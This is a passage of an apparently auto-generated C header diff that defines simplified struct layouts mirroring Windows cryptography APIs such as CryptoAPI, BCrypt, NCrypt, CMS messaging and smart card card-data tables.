CERT_SUPPORTED_ALGORITHM_INFO; + +typedef struct _CMC_DATA_INFO { + unsigned int cTaggedAttribute; + void* rgTaggedAttribute; + unsigned int cTaggedRequest; + void* rgTaggedRequest; + unsigned int cTaggedContentInfo; + void* rgTaggedContentInfo; + unsigned int cTaggedOtherMsg; + void* rgTaggedOtherMsg; +} CMC_DATA_INFO; + +typedef struct _CRYPT_INTERFACE_REG { + void* dwInterface; + void* dwFlags; + unsigned int cFunctions; + void* rgpszFunctions; +} CRYPT_INTERFACE_REG; + +typedef struct _CMSG_CTRL_VERIFY_SIGNATURE_EX_PARA { + unsigned int cbSize; + void* hCryptProv; + unsigned int dwSignerIndex; + unsigned int dwSignerType; + void* pvSigner; +} CMSG_CTRL_VERIFY_SIGNATURE_EX_PARA; + +typedef struct _CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR_PARA { + unsigned int cbSize; + unsigned int dwSignerIndex; + void* blob; +} CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR_PARA; + +typedef struct _CRYPT_XML_DATA_BLOB { + unsigned int cbData; + void* pbData; +} CRYPT_XML_DATA_BLOB; + +typedef struct _CRYPT_XML_TRANSFORM_INFO { + unsigned int cbSize; + void* wszAlgorithm; + unsigned int cbBufferSize; + void* dwFlags; + void* pfnCreateTransform; +} CRYPT_XML_TRANSFORM_INFO; + +typedef struct _CRYPT_XML_KEY_RSA_KEY_VALUE { + void* Modulus; + void* Exponent; +} CRYPT_XML_KEY_RSA_KEY_VALUE; + +// SKIPPED struct CCertificateEnrollmentServerSetup: no representable fields +typedef struct _CRYPT_BLOB_ARRAY { + unsigned int cBlob; + void* rgBlob; +} CRYPT_BLOB_ARRAY; + +typedef struct _CERT_KEY_USAGE_RESTRICTION_INFO { + unsigned int cCertPolicyId; + void* rgCertPolicyId; + void* RestrictedKeyUsage; +} CERT_KEY_USAGE_RESTRICTION_INFO; + +typedef struct _CRL_INFO { + unsigned int dwVersion; + void* SignatureAlgorithm; + void* Issuer; + void* ThisUpdate; + void* NextUpdate; + unsigned int cCRLEntry; + void* rgCRLEntry; + unsigned int cExtension; + void* rgExtension; +} CRL_INFO; + +typedef struct _CRYPT_3DES_KEY_STATE { + unsigned char Key[24]; + unsigned char IV[8]; + unsigned char Feedback[8]; +} CRYPT_3DES_KEY_STATE; + +typedef struct _CTL_INFO { + unsigned int dwVersion; + void* SubjectUsage; + void* ListIdentifier; + void* SequenceNumber; + void* ThisUpdate; + void* NextUpdate; + void* SubjectAlgorithm; + unsigned int cCTLEntry; + void* rgCTLEntry; + unsigned int cExtension; + void* rgExtension; +} CTL_INFO; + +typedef struct _CRYPT_SMIME_CAPABILITY { + void* pszObjId; + void* Parameters; +} CRYPT_SMIME_CAPABILITY; + +typedef struct _CRYPT_SMART_CARD_ROOT_INFO { + unsigned char rgbCardID[16]; + void* luid; +} CRYPT_SMART_CARD_ROOT_INFO; + +typedef struct _CRYPT_CONTENT_INFO_SEQUENCE_OF_ANY { + void* pszObjId; + unsigned int cValue; + void* rgValue; +} CRYPT_CONTENT_INFO_SEQUENCE_OF_ANY; + +typedef struct _CRYPT_ENCODE_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} CRYPT_ENCODE_PARA; + +typedef struct _CERT_LOGOTYPE_IMAGE { + void* LogotypeDetails; + void* pLogotypeImageInfo; +} CERT_LOGOTYPE_IMAGE; + +typedef struct _CERT_STRONG_SIGN_PARA { + unsigned int cbSize; + unsigned int dwInfoChoice; + void* Anonymous; +} CERT_STRONG_SIGN_PARA; + +typedef struct _BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { + unsigned int cbSize; + unsigned int dwInfoVersion; + void* pbNonce; + unsigned int cbNonce; + void* pbAuthData; + unsigned int cbAuthData; + void* pbTag; + unsigned int cbTag; + void* pbMacContext; + unsigned int cbMacContext; + unsigned int cbAAD; + unsigned long long cbData; + unsigned int dwFlags; +} BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO; + +typedef struct _CRYPT_XML_KEY_INFO_ITEM { + void* dwType; + void* Anonymous; +} CRYPT_XML_KEY_INFO_ITEM; + +typedef struct _CERT_ECC_SIGNATURE { + void* r; + void* s; +} CERT_ECC_SIGNATURE; + +// SKIPPED struct CCertSrvSetup: no representable fields +typedef struct _CERT_RDN_ATTR { + void* pszObjId; + unsigned int dwValueType; + void* Value; +} CERT_RDN_ATTR; + +typedef struct _CRYPT_PKCS12_PBE_PARAMS { + int iIterations; + unsigned int cbSalt; +} CRYPT_PKCS12_PBE_PARAMS; + +typedef struct _CMSG_KEY_AGREE_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* UserKeyingMaterial; + void* dwOriginatorChoice; + void* Anonymous; + unsigned int cKeyAgreeKeyEncryptInfo; + void* rgpKeyAgreeKeyEncryptInfo; + unsigned int dwFlags; +} CMSG_KEY_AGREE_ENCRYPT_INFO; + +typedef struct _CRYPT_INTEGER_BLOB { + unsigned int cbData; + void* pbData; +} CRYPT_INTEGER_BLOB; + +typedef struct _CRYPT_PASSWORD_CREDENTIALSW { + unsigned int cbSize; + void* pszUsername; + void* pszPassword; +} CRYPT_PASSWORD_CREDENTIALSW; + +typedef struct _BCryptBuffer { + unsigned int cbBuffer; + unsigned int BufferType; + void* pvBuffer; +} BCryptBuffer; + +typedef struct _CERT_CHAIN_CONTEXT { + unsigned int cbSize; + void* TrustStatus; + unsigned int cChain; + void* rgpChain; + unsigned int cLowerQualityChainContext; + void* rgpLowerQualityChainContext; + BOOL fHasRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; + unsigned int dwCreateFlags; + void* ChainId; +} CERT_CHAIN_CONTEXT; + +typedef struct _BCRYPT_MULTI_HASH_OPERATION { + unsigned int iHash; + void* hashOperation; + void* pbBuffer; + unsigned int cbBuffer; +} BCRYPT_MULTI_HASH_OPERATION; + +typedef struct _HCERTSTORE { + void* Value; +} HCERTSTORE; + +typedef struct _CARD_CHANGE_AUTHENTICATOR_RESPONSE { + unsigned int dwVersion; + unsigned int cAttemptsRemaining; +} CARD_CHANGE_AUTHENTICATOR_RESPONSE; + +typedef struct _CRYPT_OBJECT_LOCATOR_PROVIDER_TABLE { + unsigned int cbSize; + void* pfnGet; + void* pfnRelease; + void* pfnFreePassword; + void* pfnFree; + void* pfnFreeIdentifier; +} CRYPT_OBJECT_LOCATOR_PROVIDER_TABLE; + +typedef struct _BCRYPT_SECRET_AGREEMENT_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* SecretAgreement; + void* DeriveKey; + void* DestroySecret; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; +} BCRYPT_SECRET_AGREEMENT_FUNCTION_TABLE; + +typedef struct _CARD_IMPORT_KEYPAIR { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int PinId; + unsigned int dwKeySpec; + unsigned int dwKeySize; + unsigned int cbInput; + unsigned char pbInput[1]; +} CARD_IMPORT_KEYPAIR; + +typedef struct _CMSG_HASHED_ENCODE_INFO { + unsigned int cbSize; + void* hCryptProv; + void* HashAlgorithm; + void* pvHashAuxInfo; +} CMSG_HASHED_ENCODE_INFO; + +typedef struct _BCRYPT_ECCKEY_BLOB { + unsigned int dwMagic; + unsigned int cbKey; +} BCRYPT_ECCKEY_BLOB; + +typedef struct _CRYPT_ENCRYPTED_PRIVATE_KEY_INFO { + void* EncryptionAlgorithm; + void* EncryptedPrivateKey; +} CRYPT_ENCRYPTED_PRIVATE_KEY_INFO; + +typedef struct _CERT_LOGOTYPE_REFERENCE { + unsigned int cHashedUrl; + void* rgHashedUrl; +} CERT_LOGOTYPE_REFERENCE; + +typedef struct _CERT_POLICY95_QUALIFIER1 { + void* pszPracticesReference; + void* pszNoticeIdentifier; + void* pszNSINoticeIdentifier; + unsigned int cCPSURLs; + void* rgCPSURLs; +} CERT_POLICY95_QUALIFIER1; + +typedef struct _BCRYPT_OID_LIST { + unsigned int dwOIDCount; + void* pOIDs; +} BCRYPT_OID_LIST; + +typedef struct _CRL_DIST_POINTS_INFO { + unsigned int cDistPoint; + void* rgDistPoint; +} CRL_DIST_POINTS_INFO; + +typedef struct _CRYPT_ATTRIBUTE { + void* pszObjId; + unsigned int cValue; + void* rgValue; +} CRYPT_ATTRIBUTE; + +typedef struct _CMSG_CNG_CONTENT_DECRYPT_INFO { + unsigned int cbSize; + void* ContentEncryptionAlgorithm; + void* pfnAlloc; + void* pfnFree; + void* hNCryptKey; + void* pbContentEncryptKey; + unsigned int cbContentEncryptKey; + void* hCNGContentEncryptKey; + void* pbCNGContentEncryptKeyObject; +} CMSG_CNG_CONTENT_DECRYPT_INFO; + +typedef struct _CRYPT_XML_REFERENCES { + unsigned int cReference; + void* rgpReference; +} CRYPT_XML_REFERENCES; + +typedef struct _NCRYPT_EXPORTED_ISOLATED_KEY_ENVELOPE { + void* Header; +} NCRYPT_EXPORTED_ISOLATED_KEY_ENVELOPE; + +typedef struct _EV_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + void* dwRootProgramQualifierFlags; +} EV_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CERT_POLICY_ID { + unsigned int cCertPolicyElementId; + void* rgpszCertPolicyElementId; +} CERT_POLICY_ID; + +typedef struct _BCRYPT_RSAKEY_BLOB { + void* Magic; + unsigned int BitLength; + unsigned int cbPublicExp; + unsigned int cbModulus; + unsigned int cbPrime1; + unsigned int cbPrime2; +} BCRYPT_RSAKEY_BLOB; + +typedef struct _CERT_EXTENSIONS { + unsigned int cExtension; + void* rgExtension; +} CERT_EXTENSIONS; + +typedef struct _CERT_SELECT_CHAIN_PARA { + void* hChainEngine; + void* pTime; + void* hAdditionalStore; + void* pChainPara; + unsigned int dwFlags; +} CERT_SELECT_CHAIN_PARA; + +typedef struct _CRYPT_TIMESTAMP_INFO { + unsigned int dwVersion; + void* pszTSAPolicyId; + void* HashAlgorithm; + void* HashedMessage; + void* SerialNumber; + void* ftTime; + void* pvAccuracy; + BOOL fOrdering; + void* Nonce; + void* Tsa; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_INFO; + +typedef struct _CERT_REVOCATION_CHAIN_PARA { + unsigned int cbSize; + void* hChainEngine; + void* hAdditionalStore; + unsigned int dwChainFlags; + unsigned int dwUrlRetrievalTimeout; + void* pftCurrentTime; + void* pftCacheResync; + unsigned int cbMaxUrlRetrievalByteCount; +} CERT_REVOCATION_CHAIN_PARA; + +typedef struct _CRYPT_XML_STATUS { + unsigned int cbSize; + void* dwErrorStatus; + void* dwInfoStatus; +} CRYPT_XML_STATUS; + +typedef struct _CRYPT_CONTEXT_FUNCTIONS { + unsigned int cFunctions; + void* rgpszFunctions; +} CRYPT_CONTEXT_FUNCTIONS; + +typedef struct _CRYPT_XML_KEY_VALUE { + void* dwType; + void* Anonymous; +} CRYPT_XML_KEY_VALUE; + +typedef struct _CRYPT_HASH_INFO { + void* HashAlgorithm; + void* Hash; +} CRYPT_HASH_INFO; + +typedef struct _CMC_PEND_INFO { + void* PendToken; + void* PendTime; +} CMC_PEND_INFO; + +typedef struct _CRYPTNET_URL_CACHE_PRE_FETCH_INFO { + unsigned int cbSize; + unsigned int dwObjectType; + unsigned int dwError; + unsigned int dwReserved; + void* ThisUpdateTime; + void* NextUpdateTime; + void* PublishTime; +} CRYPTNET_URL_CACHE_PRE_FETCH_INFO; + +typedef struct _ENDPOINTADDRESS2 { + void* serviceUrl; + void* policyUrl; + unsigned int identityType; + void* identityBytes; +} ENDPOINTADDRESS2; + +typedef struct _CMSG_CTRL_KEY_AGREE_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + void* pKeyAgree; + unsigned int dwRecipientIndex; + unsigned int dwRecipientEncryptedKeyIndex; + void* OriginatorPublicKey; +} CMSG_CTRL_KEY_AGREE_DECRYPT_PARA; + +typedef struct _CERT_LOGOTYPE_INFO { + void* dwLogotypeInfoChoice; + void* Anonymous; +} CERT_LOGOTYPE_INFO; + +typedef struct _CRL_FIND_ISSUED_FOR_PARA { + void* pSubjectCert; + void* pIssuerCert; +} CRL_FIND_ISSUED_FOR_PARA; + +typedef struct _CRYPT_SIGN_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* pSigningCert; + void* HashAlgorithm; + void* pvHashAuxInfo; + unsigned int cMsgCert; + void* rgpMsgCert; + unsigned int cMsgCrl; + void* rgpMsgCrl; + unsigned int cAuthAttr; + void* rgAuthAttr; + unsigned int cUnauthAttr; + void* rgUnauthAttr; + unsigned int dwFlags; + unsigned int dwInnerContentType; +} CRYPT_SIGN_MESSAGE_PARA; + +typedef struct _CERT_POLICY_QUALIFIER_USER_NOTICE { + void* pNoticeReference; + void* pszDisplayText; +} CERT_POLICY_QUALIFIER_USER_NOTICE; + +typedef struct _CRYPT_AES_128_KEY_STATE { + unsigned char Key[16]; + unsigned char IV[16]; + unsigned char EncryptionState[176]; + unsigned char DecryptionState[176]; + unsigned char Feedback[16]; +} CRYPT_AES_128_KEY_STATE; + +typedef struct _CRYPT_PROPERTY_REF { + void* pszProperty; + unsigned int cbValue; + void* pbValue; +} CRYPT_PROPERTY_REF; + +typedef struct _CRYPT_PROVIDERS { + unsigned int cProviders; + void* rgpszProviders; +} CRYPT_PROVIDERS; + +typedef struct _PRIVKEYVER3 { + unsigned int magic; + unsigned int bitlenP; + unsigned int bitlenQ; + unsigned int bitlenJ; + unsigned int bitlenX; + void* DSSSeed; +} PRIVKEYVER3; + +typedef struct _BCRYPT_CIPHER_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKey; + void* Encrypt; + void* Decrypt; + void* ImportKey; + void* ExportKey; + void* DuplicateKey; + void* DestroyKey; +} BCRYPT_CIPHER_FUNCTION_TABLE; + +typedef struct _OCSP_CERT_ID { + void* HashAlgorithm; + void* IssuerNameHash; + void* IssuerKeyHash; + void* SerialNumber; +} OCSP_CERT_ID; + +typedef struct _CERT_SIMPLE_CHAIN { + unsigned int cbSize; + void* TrustStatus; + unsigned int cElement; + void* rgpElement; + void* pTrustListInfo; + BOOL fHasRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; +} CERT_SIMPLE_CHAIN; + +typedef struct _CRYPT_XML_X509DATA_ITEM { + void* dwType; + void* Anonymous; +} CRYPT_XML_X509DATA_ITEM; + +typedef struct _NCRYPT_PROTECT_STREAM_INFO { + void* pfnStreamOutput; + void* pvCallbackCtxt; +} NCRYPT_PROTECT_STREAM_INFO; + +typedef struct _CRL_CONTEXT { + void* dwCertEncodingType; + void* pbCrlEncoded; + unsigned int cbCrlEncoded; + void* pCrlInfo; + void* hCertStore; +} CRL_CONTEXT; + +typedef struct _NCRYPT_KEY_ATTEST_PADDING_INFO { + unsigned int magic; + void* pbKeyBlob; + unsigned int cbKeyBlob; + void* pbKeyAuth; + unsigned int cbKeyAuth; +} NCRYPT_KEY_ATTEST_PADDING_INFO; + +typedef struct _CERT_AUTHORITY_INFO_ACCESS { + unsigned int cAccDescr; + void* rgAccDescr; +} CERT_AUTHORITY_INFO_ACCESS; + +typedef struct _CERT_REVOCATION_CRL_INFO { + unsigned int cbSize; + void* pBaseCrlContext; + void* pDeltaCrlContext; + void* pCrlEntry; + BOOL fDeltaCrlEntry; +} CERT_REVOCATION_CRL_INFO; + +typedef struct _CRYPT_X942_OTHER_INFO { + void* pszContentEncryptionObjId; + unsigned char rgbCounter[4]; + unsigned char rgbKeyLength[4]; + void* PubInfo; +} CRYPT_X942_OTHER_INFO; + +typedef struct _CRYPT_HASH_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; + void* HashAlgorithm; + void* pvHashAuxInfo; +} CRYPT_HASH_MESSAGE_PARA; + +typedef struct _CERT_SERVER_OCSP_RESPONSE_CONTEXT { + unsigned int cbSize; + void* pbEncodedOcspResponse; + unsigned int cbEncodedOcspResponse; +} CERT_SERVER_OCSP_RESPONSE_CONTEXT; + +typedef struct _SCHANNEL_ALG { + unsigned int dwUse; + void* Algid; + unsigned int cBits; + unsigned int dwFlags; + unsigned int dwReserved; +} SCHANNEL_ALG; + +typedef struct _CRYPT_XML_SIGNED_INFO { + unsigned int cbSize; + void* wszId; + void* Canonicalization; + void* SignatureMethod; + unsigned int cReference; + void* rgpReference; + void* Encoded; +} CRYPT_XML_SIGNED_INFO; + +typedef struct _CMC_ADD_EXTENSIONS_INFO { + unsigned int dwCmcDataReference; + unsigned int cCertReference; + void* rgdwCertReference; + unsigned int cExtension; + void* rgExtension; +} CMC_ADD_EXTENSIONS_INFO; + +typedef struct _CRYPT_KEY_PROV_INFO { + void* pwszContainerName; + void* pwszProvName; + unsigned int dwProvType; + void* dwFlags; + unsigned int cProvParam; + void* rgProvParam; + unsigned int dwKeySpec; +} CRYPT_KEY_PROV_INFO; + +typedef struct _OFFLOAD_PRIVATE_KEY { + unsigned int dwVersion; + unsigned int cbPrime1; + unsigned int cbPrime2; + void* pbPrime1; + void* pbPrime2; +} OFFLOAD_PRIVATE_KEY; + +typedef struct _BCRYPT_MULTI_OBJECT_LENGTH_STRUCT { + unsigned int cbPerObject; + unsigned int cbPerElement; +} BCRYPT_MULTI_OBJECT_LENGTH_STRUCT; + +typedef struct _AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwRegPolicySettings; + void* pSignerInfo; +} AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CMC_TAGGED_REQUEST { + unsigned int dwTaggedRequestChoice; + void* Anonymous; +} CMC_TAGGED_REQUEST; + +typedef struct _CRYPT_CSP_PROVIDER { + unsigned int dwKeySpec; + void* pwszProviderName; + void* Signature; +} CRYPT_CSP_PROVIDER; + +typedef struct _CERT_CHAIN_ELEMENT { + unsigned int cbSize; + void* pCertContext; + void* TrustStatus; + void* pRevocationInfo; + void* pIssuanceUsage; + void* pApplicationUsage; + void* pwszExtendedErrorInfo; +} CERT_CHAIN_ELEMENT; + +typedef struct _CMC_TAGGED_ATTRIBUTE { + unsigned int dwBodyPartID; + void* Attribute; +} CMC_TAGGED_ATTRIBUTE; + +typedef struct _CARD_FREE_SPACE_INFO { + unsigned int dwVersion; + unsigned int dwBytesAvailable; + unsigned int dwKeyContainersAvailable; + unsigned int dwMaxKeyContainers; +} CARD_FREE_SPACE_INFO; + +typedef struct _SIGNER_DIGEST_SIGN_INFO_V1 { + unsigned int cbSize; + void* pfnAuthenticodeDigestSign; + void* pMetadataBlob; +} SIGNER_DIGEST_SIGN_INFO_V1; + +typedef struct _CARD_KEY_SIZES { + unsigned int dwVersion; + unsigned int dwMinimumBitlen; + unsigned int dwDefaultBitlen; + unsigned int dwMaximumBitlen; + unsigned int dwIncrementalBitlen; +} CARD_KEY_SIZES; + +typedef struct _CARD_SIGNING_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwKeySpec; + unsigned int dwSigningFlags; + void* aiHashAlg; + void* pbData; + unsigned int cbData; + void* pbSignedData; + unsigned int cbSignedData; + void* pPaddingInfo; + unsigned int dwPaddingType; +} CARD_SIGNING_INFO; + +typedef struct _INFORMATIONCARD_CRYPTO_HANDLE { + void* type; + long long expiration; + void* cryptoParameters; +} INFORMATIONCARD_CRYPTO_HANDLE; + +typedef struct _NCRYPT_HASH_HANDLE { + unsigned long long Value; +} NCRYPT_HASH_HANDLE; + +typedef struct _CERT_POLICY_INFO { + void* pszPolicyIdentifier; + unsigned int cPolicyQualifier; + void* rgPolicyQualifier; +} CERT_POLICY_INFO; + +typedef struct _CMSG_KEY_AGREE_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + void* KeyWrapAlgorithm; + void* pvKeyWrapAuxInfo; + void* hCryptProv; + unsigned int dwKeySpec; + void* dwKeyChoice; + void* Anonymous; + void* UserKeyingMaterial; + unsigned int cRecipientEncryptedKeys; + void* rgpRecipientEncryptedKeys; +} CMSG_KEY_AGREE_RECIPIENT_ENCODE_INFO; + +typedef struct _BCRYPT_HASH_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* CreateHash; + void* HashData; + void* FinishHash; + void* DuplicateHash; + void* DestroyHash; + void* CreateMultiHash; + void* ProcessMultiOperations; +} BCRYPT_HASH_FUNCTION_TABLE; + +typedef struct _CERT_CRL_CONTEXT_PAIR { + void* pCertContext; + void* pCrlContext; +} CERT_CRL_CONTEXT_PAIR; + +typedef struct _CERT_PUBLIC_KEY_INFO { + void* Algorithm; + void* PublicKey; +} CERT_PUBLIC_KEY_INFO; + +typedef struct _CRYPT_OBJID_TABLE { + unsigned int dwAlgId; + void* pszObjId; +} CRYPT_OBJID_TABLE; + +typedef struct _NCRYPT_CIPHER_PADDING_INFO { + unsigned int cbSize; + unsigned int dwFlags; + void* pbIV; + unsigned int cbIV; + void* pbOtherInfo; + unsigned int cbOtherInfo; +} NCRYPT_CIPHER_PADDING_INFO; + +typedef struct _CERT_LOGOTYPE_AUDIO_INFO { + unsigned int dwFileSize; + unsigned int dwPlayTime; + unsigned int dwChannels; + unsigned int dwSampleRate; + void* pwszLanguage; +} CERT_LOGOTYPE_AUDIO_INFO; + +typedef struct _CERT_POLICY_MAPPING { + void* pszIssuerDomainPolicy; + void* pszSubjectDomainPolicy; +} CERT_POLICY_MAPPING; + +typedef struct _BCRYPT_PKCS11_RSA_AES_WRAP_BLOB { + unsigned int dwMagic; + unsigned int cbKey; + unsigned int cbPaddingAlgId; + unsigned int cbPaddingLabel; +} BCRYPT_PKCS11_RSA_AES_WRAP_BLOB; + +typedef struct _CT_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + int lErrorStatus; + int lErrorSubStatus; + unsigned int cEntries; + unsigned int cValidated; +} CT_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _NCRYPT_SSL_CIPHER_SUITE_EX { + unsigned int dwVersion; + unsigned int dwProtocol; + unsigned int dwCipherSuite; + unsigned int dwBaseCipherSuite; + unsigned short szCipherSuite[64]; + unsigned short szCipher[64]; + unsigned int dwCipherLen; + unsigned int dwCipherBlockLen; + unsigned short szHash[64]; + unsigned int dwHashLen; + unsigned short szExchange[64]; + unsigned int dwMinExchangeLen; + unsigned int dwMaxExchangeLen; + unsigned short szCertificate[64]; + unsigned int dwKeyType; + unsigned short szCipherMode[64]; +} NCRYPT_SSL_CIPHER_SUITE_EX; + +typedef struct _CERT_QC_STATEMENT { + void* pszStatementId; + void* StatementInfo; +} CERT_QC_STATEMENT; + +typedef struct _CMSG_CONTENT_ENCRYPT_INFO { + unsigned int cbSize; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int cRecipients; + void* rgCmsRecipients; + void* pfnAlloc; + void* pfnFree; + unsigned int dwEncryptFlags; + void* Anonymous; + unsigned int dwFlags; + BOOL fCNG; + void* pbCNGContentEncryptKeyObject; + void* pbContentEncryptKey; + unsigned int cbContentEncryptKey; +} CMSG_CONTENT_ENCRYPT_INFO; + +typedef struct _CRYPT_SEQUENCE_OF_ANY { + unsigned int cValue; + void* rgValue; +} CRYPT_SEQUENCE_OF_ANY; + +typedef struct _NCRYPT_SSL_FUNCTION_TABLE { + void* Version; + void* ComputeClientAuthHash; + void* ComputeEapKeyBlock; + void* ComputeFinishedHash; + void* CreateEphemeralKey; + void* CreateHandshakeHash; + void* DecryptPacket; + void* EncryptPacket; + void* EnumCipherSuites; + void* ExportKey; + void* FreeBuffer; + void* FreeObject; + void* GenerateMasterKey; + void* GenerateSessionKeys; + void* GetKeyProperty; + void* GetProviderProperty; + void* HashHandshake; + void* ImportMasterKey; + void* ImportKey; + void* LookupCipherSuiteInfo; + void* OpenPrivateKey; + void* OpenProvider; + void* SignHash; + void* VerifySignature; + void* LookupCipherLengths; + void* CreateClientAuthHash; + void* GetCipherSuitePRFHashAlgorithm; + void* ComputeSessionHash; + void* GeneratePreMasterKey; + void* EnumEccCurves; + void* ExportKeyingMaterial; + void* ExtractEarlyKey; + void* ExtractHandshakeKey; + void* ExtractMasterKey; + void* ExpandTrafficKeys; + void* ExpandWriteKey; + void* ExpandExporterMasterKey; + void* EnumCipherSuitesEx; + void* ExpandResumptionMasterKey; + void* DuplicateTranscriptHash; + void* ExpandBinderKey; + void* ExpandPreSharedKey; +} NCRYPT_SSL_FUNCTION_TABLE; + +typedef struct _CERT_SYSTEM_STORE_INFO { + unsigned int cbSize; +} CERT_SYSTEM_STORE_INFO; + +typedef struct _CARD_DATA { + unsigned int dwVersion; + void* pbAtr; + unsigned int cbAtr; + void* pwszCardName; + void* pfnCspAlloc; + void* pfnCspReAlloc; + void* pfnCspFree; + void* pfnCspCacheAddFile; + void* pfnCspCacheLookupFile; + void* pfnCspCacheDeleteFile; + void* pvCacheContext; + void* pfnCspPadData; + unsigned long long hSCardCtx; + unsigned long long hScard; + void* pvVendorSpecific; + void* pfnCardDeleteContext; + void* pfnCardQueryCapabilities; + void* pfnCardDeleteContainer; + void* pfnCardCreateContainer; + void* pfnCardGetContainerInfo; + void* pfnCardAuthenticatePin; + void* pfnCardGetChallenge; + void* pfnCardAuthenticateChallenge; + void* pfnCardUnblockPin; + void* pfnCardChangeAuthenticator; + void* pfnCardDeauthenticate; + void* pfnCardCreateDirectory; + void* pfnCardDeleteDirectory; + void* pvUnused3; + void* pvUnused4; + void* pfnCardCreateFile; + void* pfnCardReadFile; + void* pfnCardWriteFile; + void* pfnCardDeleteFile; + void* pfnCardEnumFiles; + void* pfnCardGetFileInfo; + void* pfnCardQueryFreeSpace; + void* pfnCardQueryKeySizes; + void* pfnCardSignData; + void* pfnCardRSADecrypt; + void* pfnCardConstructDHAgreement; + void* pfnCardDeriveKey; + void* pfnCardDestroyDHAgreement; + void* pfnCspGetDHAgreement; + void* pfnCardGetChallengeEx; + void* pfnCardAuthenticateEx; + void* pfnCardChangeAuthenticatorEx; + void* pfnCardDeauthenticateEx; + void* pfnCardGetContainerProperty; + void* pfnCardSetContainerProperty; + void* pfnCardGetProperty; + void* pfnCardSetProperty; + void* pfnCspUnpadData; + void* pfnMDImportSessionKey; + void* pfnMDEncryptData; + void* pfnCardImportSessionKey; + void* pfnCardGetSharedKeyHandle; + void* pfnCardGetAlgorithmProperty; + void* pfnCardGetKeyProperty; + void* pfnCardSetKeyProperty; + void* pfnCardDestroyKey; + void* pfnCardProcessEncryptedData; + void* pfnCardCreateContainerEx; +} CARD_DATA; + +typedef struct _NCRYPT_UI_POLICY_BLOB { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int cbCreationTitle; + unsigned int cbFriendlyName; + unsigned int cbDescription; +} NCRYPT_UI_POLICY_BLOB; + +typedef struct _BCryptBufferDesc { + unsigned int ulVersion; + unsigned int cBuffers; + void* pBuffers; +} BCryptBufferDesc; + +typedef struct _CMSG_SP3_COMPATIBLE_AUX_INFO { + unsigned int cbSize; + unsigned int dwFlags; +} CMSG_SP3_COMPATIBLE_AUX_INFO; + +typedef struct _NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER { + unsigned int Magic; + unsigned int Version; + unsigned int cbAttributes; + unsigned int cbNonce; + unsigned int cbHashAlg; + unsigned int cbPadding; + unsigned int cbSignatureAlg; + unsigned int cbSignature; +} NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER; + +typedef struct _CERT_LOGOTYPE_DETAILS { + void* pwszMimeType; + unsigned int cHashedUrl; + void* rgHashedUrl; +} CERT_LOGOTYPE_DETAILS; + +typedef struct _CMSG_ENVELOPED_ENCODE_INFO { + unsigned int cbSize; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int cRecipients; + void* rgpRecipients; +} CMSG_ENVELOPED_ENCODE_INFO; + +typedef struct _CMSG_CMS_SIGNER_INFO { + unsigned int dwVersion; + void* SignerId; + void* HashAlgorithm; + void* HashEncryptionAlgorithm; + void* EncryptedHash; + void* AuthAttrs; + void* UnauthAttrs; +} CMSG_CMS_SIGNER_INFO; + +typedef struct _CERT_ALT_NAME_ENTRY { + unsigned int dwAltNameChoice; + void* Anonymous; +} CERT_ALT_NAME_ENTRY; + +typedef struct _SIGNER_DIGEST_SIGN_INFO { + unsigned int cbSize; + unsigned int dwDigestSignChoice; + void* Anonymous; + void* pMetadataBlob; + unsigned int dwReserved; + unsigned int dwReserved2; + unsigned int dwReserved3; +} SIGNER_DIGEST_SIGN_INFO; + +typedef struct _CMSG_CTRL_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + unsigned int dwRecipientIndex; +} CMSG_CTRL_DECRYPT_PARA; + +typedef struct _CRYPT_RC2_CBC_PARAMETERS { + unsigned int dwVersion; + BOOL fIV; + unsigned char rgbIV[8]; +} CRYPT_RC2_CBC_PARAMETERS; + +typedef struct _CRYPT_RSAES_OAEP_PARAMETERS { + void* HashAlgorithm; + void* MaskGenAlgorithm; + void* PSourceAlgorithm; +} CRYPT_RSAES_OAEP_PARAMETERS; + +typedef struct _CERT_KEYGEN_REQUEST_INFO { + unsigned int dwVersion; + void* SubjectPublicKeyInfo; + void* pwszChallengeString; +} CERT_KEYGEN_REQUEST_INFO; + +typedef struct _CMS_KEY_INFO { + unsigned int dwVersion; + void* Algid; + void* pbOID; 